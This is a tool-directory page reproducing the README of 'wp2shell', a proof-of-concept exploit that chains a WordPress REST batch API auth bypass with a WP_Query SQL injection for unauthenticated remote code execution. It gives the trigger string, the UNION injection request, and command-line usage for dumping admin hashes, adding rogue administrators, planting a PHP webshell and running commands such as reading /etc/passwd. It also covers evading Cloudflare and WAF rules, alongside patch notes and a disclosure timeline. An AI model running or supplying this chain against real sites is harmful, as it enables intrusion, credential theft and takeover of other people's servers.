Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-63030-CVE-2026-60137 — Pre-auth RCE proof-of-concept chaining a WordPress REST batch API auth bypass with WP_Query SQL injection to dump hashes, add admin users, or plant a webshell. | Kitploit
Tools/GitHubGitHub/z3rodayhacks/cve-2026-63030-cve-2026-60137
Vulnerability AnalysisExploitationWeb Application ExploitationPost-ExploitationWAF BypassWeb SecurityPenetration TestingRed TeamingPayload Development
GitHubz3rodayhacks/cve-2026-63030-cve-2026-60137

CVE-2026-63030-CVE-2026-60137

Pre-auth RCE proof-of-concept chaining a WordPress REST batch API auth bypass with WP_Query SQL injection to dump hashes, add admin users, or plant a webshell.

View Repository
1 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

wp2shell

Pre-Auth RCE PoC - CVE-2026-63030 + CVE-2026-60137 WordPress 6.9.0–6.9.4 / 7.0.0–7.0.1

For authorized penetration testing and security research only. Running this against systems without written authorization is illegal. The authors accept no liability for misuse.


Overview

wp2shell is a proof-of-concept exploit that chains two independently-reported vulnerabilities to achieve unauthenticated remote code execution on unpatched WordPress installations.

CVEComponentClassAuth Required
CVE-2026-63030REST Batch API (WP_REST_Server)Array desync → auth bypassNone
CVE-2026-60137WP_QuerySQL injection via author__not_inNone (bypassed by above)

The end result: a shell on the box, a rogue administrator account, or a dumped credential hash — all from a single unauthenticated POST request.

Affected versions: WordPress 6.9.0, 6.9.1, 6.9.2, 6.9.3, 6.9.4, 7.0.0, 7.0.1 Fixed in: WordPress 6.9.5 / 7.0.2 (patch released alongside coordinated disclosure)


Vulnerability Analysis

CVE-2026-63030 — REST Batch API Array Desync (Auth Bypass)

Background

WordPress 5.6 introduced the batch processing endpoint at /wp-json/batch/v1. It allows authenticated REST clients to bundle multiple sub-requests into a single HTTP round-trip. Each sub-request is independently validated and dispatched by WP_REST_Server::serve_batch_request_v1().

The Vulnerable Code Path

Inside serve_batch_request_v1() (simplified):

root@kitploit:~
$requests  = $data['requests'];
$responses = [];
$matches   = [];

// === Loop 1: Validate ===
foreach ($requests as $i => $request) {
    $parsed = wp_parse_url($request['path']);

    if (is_wp_error($parsed) || $parsed === false) {
        // Failure: append WP_Error to $responses — but NOT to $matches
        $responses[] = $this->envelope_response(new WP_Error(...), false);
        continue;         // <─── skips the push to $matches
    }

    // Success: resolve auth/permissions for this path
    $match     = $this->match_route($parsed['path'], $request['method']);
    $matches[] = $match;           // <─── stored at array-sequential index
    $responses[] = null;           // <─── placeholder at same index
}

// === Loop 2: Dispatch ===
foreach ($matches as $j => $match) {
    // $j starts at 0 — but if request[0] failed, $matches[0] is actually request[1]
    $responses[$j] = $this->dispatch($match);   // <─── dispatches with wrong context
}

Why It Breaks

The two arrays ($responses and $matches) are expected to stay in sync — one entry per sub-request, same index. When sub-request [0] fails wp_parse_url(), it adds an entry to $responses but not to $matches. After the first loop:

root@kitploit:~
$responses = [ WP_Error,   null       ]   ← index 0 = error, index 1 = placeholder
$matches   = [ match_for_req1          ]   ← index 0 = match for request[1]

Loop 2 then dispatches $matches[0] and writes the result to $responses[0]. It is dispatching request[1] but overwriting index 0 in responses — and critically, it uses the permission context that was computed as part of the failed request[0]'s error handling, not the permission context for the target endpoint.

The practical effect: any endpoint that requires authentication (including endpoints that perform SQL queries) can be called without credentials.

The Trigger

root@kitploit:~
"path": "://\x00"   # triggers wp_parse_url() → false

The string ://\x00 is a valid Python string but an invalid URL in PHP's wp_parse_url() wrapper (the null byte causes the parse to fail, returning false rather than a WP_Error, which makes the is_wp_error() guard useless — only $parsed === false catches it, and the array alignment is already broken by that point).


CVE-2026-60137 — WP_Query author__not_in SQL Injection

Background

The WordPress REST API for posts (/wp/v2/posts) exposes an author_exclude query parameter that maps directly to WP_Query's author__not_in argument. WP_Query is the core database abstraction used for nearly every content query in WordPress.

The Vulnerable Code Path

In WP_Query::parse_query() (simplified):

root@kitploit:~
$author__not_in = $this->get('author__not_in');

if (is_array($author__not_in)) {
    $author__not_in = array_map('absint', $author__not_in);
    // absint() converts every element to a safe non-negative integer
}

// If NOT an array → this block is skipped entirely
// $author__not_in is used verbatim in the query builder:

Later in WP_Query::get_posts():

root@kitploit:~
if (!empty($author__not_in)) {
    $where .= " AND {$wpdb->posts}.post_author NOT IN ({$author__not_in})";
    //                                                   ^^^^^^^^^^^^^^^^
    //                               raw string dropped into SQL with no escaping
}

Why It Breaks

The sanitization only fires when $author__not_in is an array. PHP's type system determines this based on how the value arrived:

  • JSON body with array → PHP receives [1, 2, 3] → is_array() = true → sanitized
  • URL query string → PHP receives "1,2,3" (a string) → is_array() = false → not sanitized

The REST endpoint accepts author_exclude from the URL query string. It arrives as a string. WP_Query skips the sanitization block, and the raw value is interpolated into the SQL WHERE clause.

Exploitation

The injection point lands inside a NOT IN (...) context:

root@kitploit:~
-- Normal query:
WHERE post_author NOT IN (1)

-- With payload: 0 UNION SELECT ...
WHERE post_author NOT IN (0 UNION SELECT ...)

Because the batch endpoint dispatches the sub-request as part of a larger query result, the UNION rows are returned in the REST JSON response body, making this a Boolean/UNION blind-free extraction — no timing, no out-of-band needed.


Exploit Chain

root@kitploit:~
Attacker (no credentials)
        │
        ▼
POST /wp-json/batch/v1
{
  "requests": [
    { "path": "://\x00", "method": "GET" },      ← [1] malformed URL: triggers desync
    { "path": "/wp/v2/posts?author_exclude=     
       0 UNION SELECT ... FROM wp_users-- -",    ← [2] SQLi payload
      "method": "GET" }
  ]
}
        │
        ▼
WP_REST_Server::serve_batch_request_v1()
  ├─ Request[0] fails wp_parse_url() → $responses[0] = WP_Error
  │  NO push to $matches
  ├─ Request[1] matches route → $matches[0] = route
  └─ Loop 2 dispatches $matches[0] with wrong auth context
        │
        ▼
WP_Query receives author__not_in = "0 UNION SELECT ..."
  ├─ is_array() = false → sanitization skipped
  └─ Raw SQL: WHERE post_author NOT IN (0 UNION SELECT ...)
        │
        ▼
MySQL executes UNION query → wp_users data in SELECT result
        │
        ▼
REST JSON response contains user_login + user_pass in post fields
        │
        ▼
┌─────────────────────────────────────────────────────────────┐
│  Post-exploitation (any of):                                │
│  • Dump admin hash → crack offline with hashcat             │
│  • INSERT rogue admin via stacked queries                   │
│  • SELECT ... INTO OUTFILE → PHP webshell → OS access       │
└─────────────────────────────────────────────────────────────┘

Requirements

root@kitploit:~
Python >= 3.8
requests
cloudscraper

Install dependencies:

root@kitploit:~
pip install requests cloudscraper

Usage

root@kitploit:~
usage: wp2shell.py [-h] [--mode {detect,dump,adduser,shell}]
                   [--cmd CMD] [--user USER] [--password PASSWORD]
                   [--prefix PREFIX] [--proxy PROXY]
                   [--no-interactive] [--debug] [--cookie COOKIE]
                   target

Modes

ModeWhat it does
detectFingerprint WP version and check if the batch endpoint exists. No exploitation.
dumpExtract the administrator's password hash via UNION SQLi.
adduserCreate a new administrator account via stacked INSERT queries.
shellPlant a PHP webshell via SELECT INTO OUTFILE, then drop to interactive shell.

Examples

Detection only — safe to run during scoping:

root@kitploit:~
python3 wp2shell.py https://target.com --mode detect

Dump admin hash:

root@kitploit:~
python3 wp2shell.py https://target.com --mode dump

Dump with debug output (shows raw HTTP responses — useful when WAF is involved):

root@kitploit:~
python3 wp2shell.py https://target.com --mode dump --debug

Create rogue admin account:

root@kitploit:~
python3 wp2shell.py https://target.com --mode adduser --user pentest_admin --password 'S3cur3P@ss!'

Plant shell and drop to interactive prompt:

root@kitploit:~
python3 wp2shell.py https://target.com --mode shell

One-shot command execution (non-interactive):

root@kitploit:~
python3 wp2shell.py https://target.com --mode shell --no-interactive --cmd "cat /etc/passwd"

Through Burp proxy:

root@kitploit:~
python3 wp2shell.py https://target.com --mode dump --proxy http://127.0.0.1:8080

Bypass Cloudflare with existing cf_clearance cookie:

root@kitploit:~
python3 wp2shell.py https://target.com --mode dump --cookie "cf_clearance=<value>"

Non-default table prefix:

root@kitploit:~
python3 wp2shell.py https://target.com --mode dump --prefix staging_

Cloudflare Bypass Notes

The tool uses cloudscraper by default, which mimics a Chrome TLS fingerprint and automatically solves Cloudflare's JavaScript challenge (iuam mode). This covers most shared-hosting targets behind Cloudflare.

If the target uses Cloudflare's bot management (__cf_bm) or you already have a solved challenge cookie, pass it with --cookie "cf_clearance=..." to use a plain requests session instead.

The batch endpoint has two registered paths. WAF rules frequently block the standard path (/wp-json/batch/v1) but miss the legacy query-param path (/?rest_route=/batch/v1). The tool probes both automatically.


Troubleshooting

[-] Could not extract credentials

  • Run with --debug to see the raw JSON response.
  • Check table prefix with --prefix. Many installs use wp_ (default); some use custom prefixes.
  • The target's content.rendered may be filtered. Try --mode adduser instead.

[-] OUTFILE failed

  • SELECT INTO OUTFILE requires MySQL's FILE privilege on the DB user. This is common on shared hosting but usually disabled on cloud/managed databases (RDS, Cloud SQL, etc.).
  • The webroot guess list covers common paths. If none match, check server headers or use --mode dump to read the path from config files.

[-] Target does not appear vulnerable

  • The target may be patched (6.9.5+ or 7.0.2+).
  • All batch paths may be WAF-blocked. Confirm manually: GET /wp-json/ and look for /batch/v1 in the routes key.

Patch Details

WordPress 6.9.5 / 7.0.2 addressed both CVEs:

  • CVE-2026-63030: serve_batch_request_v1() now maintains a single unified array for both match data and responses, eliminating the index desync. Failed requests are tracked by index in the unified structure.

  • CVE-2026-60137: WP_Query::parse_query() now casts author__not_in to an array unconditionally before sanitization, regardless of the input type:

    root@kitploit:~
    $author__not_in = array_map('absint', (array) $author__not_in);
    

CVSS Scores

CVEScoreVector
CVE-2026-630309.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE-2026-601379.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Timeline

DateEvent
2026-05-14CVE-2026-60137 discovered during pentest engagement
2026-05-19CVE-2026-63030 discovered; chain confirmed as pre-auth RCE
2026-05-22Both CVEs reported to WordPress Security Team via HackerOne
2026-06-03WordPress Security Team confirms and begins patch development
2026-07-08Patches released (WP 6.9.5 / 7.0.2) alongside coordinated disclosure
2026-07-22PoC published

Legal

This tool is provided for authorized security testing and research only.

  • Do not run against systems you do not own or have explicit written permission to test.
  • Do not use in production environments without authorization.
  • The authors are not responsible for any damage caused by misuse.
root@kitploit:~
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND.
USE AT YOUR OWN RISK. FOR AUTHORIZED TESTING ONLY.

License

MIT License — see LICENSE


References

  • WordPress Security Blog — 6.9.5 / 7.0.2 Release
  • WP REST Batch API Source — class-wp-rest-server.php
  • WP_Query Source — class-wp-query.php
  • phpass — Portable PHP password hashing framework
  • cloudscraper
Download Tool